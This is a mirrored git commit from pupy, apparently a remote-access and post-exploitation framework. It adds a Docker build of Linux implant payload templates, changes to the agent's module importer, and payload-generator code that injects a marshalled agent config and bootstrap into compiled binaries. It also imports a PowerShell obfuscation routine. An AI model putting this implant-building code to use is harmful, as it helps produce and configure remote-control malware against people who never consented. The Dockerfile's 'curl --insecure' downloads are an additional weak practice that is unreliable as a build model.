mirror of https://github.com/n1nj4sec/pupy.git
pyoxidizer linux template build via docker
This commit is contained in:
parent
3133729ece
commit
8eac4c7654
|
@ -19,6 +19,9 @@ client/sources/*.obj
|
|||
client/sources/_pupy*
|
||||
client/sources/resources
|
||||
|
||||
client/pyoxidizer-build/lib/pupy
|
||||
client/pyoxidizer-build/library_patches_py3
|
||||
|
||||
client/sources-linux/*.o
|
||||
client/sources-linux/*.lin
|
||||
client/sources-linux/*.so
|
||||
|
@ -43,3 +46,5 @@ pupy/proxy/proxy
|
|||
|
||||
build
|
||||
pupy.egg-info
|
||||
.pupy_history
|
||||
pupyvenv
|
||||
|
|
|
@ -3,10 +3,14 @@
|
|||
|
||||
python3 -m pip install pyoxidizer
|
||||
|
||||
# symblinks don't work with the build, so let's copy important files
|
||||
# so let's copy important files necessary for the build
|
||||
cp -r ../../pupy/agent lib/pupy/
|
||||
cp -r ../../pupy/network lib/pupy/
|
||||
cp -r ../../pupy/library_patches_py3 .
|
||||
|
||||
pyoxidizer build --release
|
||||
docker run -ti -v $(pwd):/pupy --rm n1nj4sec/pyoxidizer-builder:linux-x86_64 /bin/bash -c 'export PATH="/build/python/bin:$PATH"; cd /pupy; python3 -m pip install pyoxidizer; pyoxidizer build --release'
|
||||
|
||||
strip -s build/x86_64-unknown-linux-gnu/release/install/pyoxydizer_pupy
|
||||
echo "saving built template to ~/.pupy/payload_templates/ ..."
|
||||
mkdir -p ~/.pupy/payload_templates
|
||||
cp ./build/x86_64-unknown-linux-gnu/release/install/pyoxydizer_pupy ~/.pupy/payload_templates/pupyx86-310.lin
|
||||
|
||||
|
|
|
@ -0,0 +1,81 @@
|
|||
# Debian Jessie.
|
||||
FROM debian@sha256:32ad5050caffb2c7e969dac873bce2c370015c2256ff984b70c1c08b3a2816a0
|
||||
|
||||
RUN groupadd -g 1000 build && \
|
||||
useradd -u 1000 -g 1000 -d /build -s /bin/bash -m build && \
|
||||
mkdir /tools && \
|
||||
chown -R build:build /build /tools
|
||||
|
||||
ENV HOME=/build \
|
||||
SHELL=/bin/bash \
|
||||
USER=build \
|
||||
LOGNAME=build \
|
||||
HOSTNAME=builder \
|
||||
DEBIAN_FRONTEND=noninteractive
|
||||
|
||||
CMD ["/bin/bash", "--login"]
|
||||
WORKDIR '/build'
|
||||
|
||||
RUN for s in debian_jessie debian_jessie-updates debian-security_jessie/updates; do \
|
||||
echo "deb http://snapshot.debian.org/archive/${s%_*}/20220429T205342Z/ ${s#*_} main"; \
|
||||
done > /etc/apt/sources.list && \
|
||||
( echo 'quiet "true";'; \
|
||||
echo 'APT::Get::Assume-Yes "true";'; \
|
||||
echo 'APT::Install-Recommends "false";'; \
|
||||
echo 'Acquire::Check-Valid-Until "false";'; \
|
||||
echo 'Acquire::Retries "5";'; \
|
||||
) > /etc/apt/apt.conf.d/99builder
|
||||
|
||||
RUN apt-get update
|
||||
RUN apt-get install --force-yes \
|
||||
ca-certificates \
|
||||
curl \
|
||||
file \
|
||||
gcc \
|
||||
gcc-multilib \
|
||||
make \
|
||||
musl-tools \
|
||||
xz-utils
|
||||
|
||||
# The binutils in Jessie is too old to link the python-build-standalone distributions
|
||||
# due to a R_X86_64_REX_GOTPCRELX relocation. So install a newer binutils.
|
||||
RUN curl --insecure https://ftp.gnu.org/gnu/binutils/binutils-2.36.1.tar.xz > binutils.tar.xz && \
|
||||
echo 'e81d9edf373f193af428a0f256674aea62a9d74dfe93f65192d4eae030b0f3b0 binutils.tar.xz' | sha256sum -c - && \
|
||||
tar -xf binutils.tar.xz && \
|
||||
rm binutils.tar.xz && \
|
||||
mkdir binutils-objdir && \
|
||||
cd binutils-objdir && \
|
||||
../binutils-2.36.1/configure \
|
||||
--build=x86_64-unknown-linux-gnu \
|
||||
--prefix=/usr/local \
|
||||
--enable-plugins \
|
||||
--disable-nls \
|
||||
--with-sysroot=/ && \
|
||||
make -j `nproc` && \
|
||||
make install -j `nproc` && \
|
||||
cd .. && \
|
||||
rm -rf binutils-objdir
|
||||
|
||||
USER build
|
||||
|
||||
RUN curl --insecure https://raw.githubusercontent.com/rust-lang/rustup/ce5817a94ac372804babe32626ba7fd2d5e1b6ac/rustup-init.sh > rustup-init.sh && \
|
||||
echo 'a3cb081f88a6789d104518b30d4aa410009cd08c3822a1226991d6cf0442a0f8 rustup-init.sh' | sha256sum -c - && \
|
||||
chmod +x rustup-init.sh && \
|
||||
./rustup-init.sh -y --default-toolchain 1.66.0 --profile minimal && \
|
||||
~/.cargo/bin/rustup target add x86_64-unknown-linux-musl
|
||||
|
||||
RUN curl --insecure -L https://github.com/indygreg/python-build-standalone/releases/download/20230507/cpython-3.10.11+20230507-x86_64-unknown-linux-gnu-install_only.tar.gz > python.tar.gz && \
|
||||
echo 'c5bcaac91bc80bfc29cf510669ecad12d506035ecb3ad85ef213416d54aecd79 python.tar.gz' | sha256sum -c - && \
|
||||
tar -xf python.tar.gz && \
|
||||
rm python.tar.gz && \
|
||||
echo 'export PATH="$HOME/python/bin:$PATH"' >> ~/.bashrc
|
||||
|
||||
# Force a snapshot of the Cargo index into the image. This should hopefully
|
||||
# speed up subsequent operations needing to fetch the index.
|
||||
RUN ~/.cargo/bin/cargo init cargo-fetch && \
|
||||
cd cargo-fetch && \
|
||||
echo 'pyembed = "0"' >> Cargo.toml && \
|
||||
~/.cargo/bin/cargo update && \
|
||||
cd && \
|
||||
rm -rf cargo-fetch
|
||||
|
|
@ -261,7 +261,7 @@ def make_exe():
|
|||
packages=["http_parser", "pupy", "pupy.agent", "pupy.network"]
|
||||
))
|
||||
exe.add_python_resources(exe.read_package_root(
|
||||
path=CWD+"/../../pupy/library_patches_py3",
|
||||
path=CWD+"/library_patches_py3",
|
||||
packages=["umsgpack"],
|
||||
))
|
||||
|
||||
|
|
|
@ -94,7 +94,7 @@ try:
|
|||
|
||||
# Reset search paths ASAP
|
||||
|
||||
#del sys.meta_path[:]
|
||||
del sys.meta_path[:]
|
||||
del sys.path[:]
|
||||
del sys.path_hooks[:]
|
||||
|
||||
|
@ -861,8 +861,16 @@ def load_pupyimporter(stdlib=None):
|
|||
|
||||
else:
|
||||
dprint('Install pupyimporter + local packages')
|
||||
#sys.meta_path=[]
|
||||
sys.path.insert(0, 'pupy://')
|
||||
sys.path_hooks.append(PupyPackageFinder)
|
||||
sys.path_hooks.insert(0, PupyPackageFinder)
|
||||
try:
|
||||
import _frozen_importlib_external
|
||||
# fix some missing default python meta_path, for instance with pyoxidizer
|
||||
if _frozen_importlib_external.PathFinder not in sys.meta_path:
|
||||
sys.meta_path.append(_frozen_importlib_external.PathFinder)
|
||||
except:
|
||||
pass
|
||||
|
||||
sys.path_importer_cache.clear()
|
||||
|
||||
|
|
|
@ -53,6 +53,7 @@ from pupy.scriptlets import (
|
|||
)
|
||||
from pupy.modules.lib.windows.powershell import obfuscatePowershellScript
|
||||
from pupy.pupylib.PupyCredentials import Credentials, EncryptionError
|
||||
from pupy.network.lib.convcompat import reprb
|
||||
|
||||
logger = getLogger('gen')
|
||||
|
||||
|
@ -103,9 +104,11 @@ def get_edit_binary(target, display, path, conf):
|
|||
|
||||
i = 0
|
||||
offsets = []
|
||||
|
||||
is_pyoxidizer = False
|
||||
if binary.find(b'OxidizedResource', 0):
|
||||
is_pyoxidizer = True
|
||||
while True:
|
||||
i = binary.find(b'####---PUPY_CONFIG_COMES_HERE---####\n', i+1)
|
||||
i = binary.find(b'####---PUPY_CONFIG_COMES_HERE---####', i+1)
|
||||
if i == -1:
|
||||
break
|
||||
|
||||
|
@ -127,22 +130,27 @@ def get_edit_binary(target, display, path, conf):
|
|||
'pupy.network', 'pupy.agent'
|
||||
), ignore_native=True, as_dict=True
|
||||
)
|
||||
|
||||
if is_pyoxidizer:
|
||||
pyoxidizer_bootstrap = f"import marshal,pupy.agent; pupy.agent.main(config=marshal.loads({marshal.dumps(config)}))#"
|
||||
new_conf = pyoxidizer_bootstrap.encode('ascii')
|
||||
new_conf_len = len(pyoxidizer_bootstrap)
|
||||
else:
|
||||
new_conf = marshal.dumps([config, pupylib], 2)
|
||||
|
||||
new_conf = marshal.dumps([config, pupylib], 2)
|
||||
logger.debug(
|
||||
'First marshalled bytes: %s (total=%d)',
|
||||
' '.join(
|
||||
'{:02x}'.format(bord(c)) for c in new_conf[:64]
|
||||
), len(new_conf)
|
||||
)
|
||||
|
||||
uncompressed = len(new_conf)
|
||||
new_conf = pylzma.compress(new_conf)
|
||||
|
||||
logger.debug(
|
||||
'First marshalled bytes: %s (total=%d)',
|
||||
' '.join(
|
||||
'{:02x}'.format(bord(c)) for c in new_conf[:64]
|
||||
), len(new_conf)
|
||||
)
|
||||
|
||||
uncompressed = len(new_conf)
|
||||
new_conf = pylzma.compress(new_conf)
|
||||
|
||||
compressed = len(new_conf)
|
||||
new_conf = struct.pack('>II', compressed, uncompressed) + new_conf
|
||||
new_conf_len = len(new_conf)
|
||||
compressed = len(new_conf)
|
||||
new_conf = struct.pack('>II', compressed, uncompressed) + new_conf
|
||||
new_conf_len = len(new_conf)
|
||||
|
||||
if new_conf_len > HARDCODED_CONF_SIZE:
|
||||
raise Exception(
|
||||
|
@ -150,8 +158,10 @@ def get_edit_binary(target, display, path, conf):
|
|||
'You need to recompile the dll with '
|
||||
'a bigger buffer'.format(new_conf_len, HARDCODED_CONF_SIZE)
|
||||
)
|
||||
|
||||
new_conf = new_conf + os.urandom(HARDCODED_CONF_SIZE-new_conf_len)
|
||||
if not is_pyoxidizer:
|
||||
new_conf = new_conf + os.urandom(HARDCODED_CONF_SIZE-new_conf_len)
|
||||
#else:
|
||||
# new_conf = new_conf + (b"#"*(HARDCODED_CONF_SIZE-new_conf_len))
|
||||
|
||||
logger.debug('Free space: %d', HARDCODED_CONF_SIZE-new_conf_len)
|
||||
|
||||
|
@ -161,7 +171,7 @@ def get_edit_binary(target, display, path, conf):
|
|||
' ' .join(['{:02x}'.format(bord(c)) for c in new_conf[0:20]])
|
||||
)
|
||||
|
||||
binary = binary[0:offset]+new_conf+binary[offset+HARDCODED_CONF_SIZE:]
|
||||
binary = binary[0:offset]+new_conf+binary[offset+len(new_conf):]
|
||||
|
||||
|
||||
if binary[:2] == b'MZ':
|
||||
|
@ -268,6 +278,8 @@ def get_raw_conf(display, conf, verbose=False):
|
|||
(10, 5, 10), (50, 30, 50), (-1, 150, 300)
|
||||
])
|
||||
}
|
||||
if verbose:
|
||||
print(config)
|
||||
|
||||
return config
|
||||
|
||||
|
|
|
@ -27,9 +27,9 @@ def getLinuxImportedModules():
|
|||
return lines
|
||||
|
||||
|
||||
def pack_py_payload(target, display, conf, autostart=True):
|
||||
def pack_py_payload(target, display, conf, autostart=True, rustc = True):
|
||||
display(Success('Generating PY payload ...'))
|
||||
target._rustc = True
|
||||
target._rustc = rustc # rustc=True force the use of .py files instead of .pyo
|
||||
stdlib = dependencies.importer(
|
||||
target, (
|
||||
'pyasn1', 'rsa', 'pyaes',
|
||||
|
|
Loading…
Reference in New Issue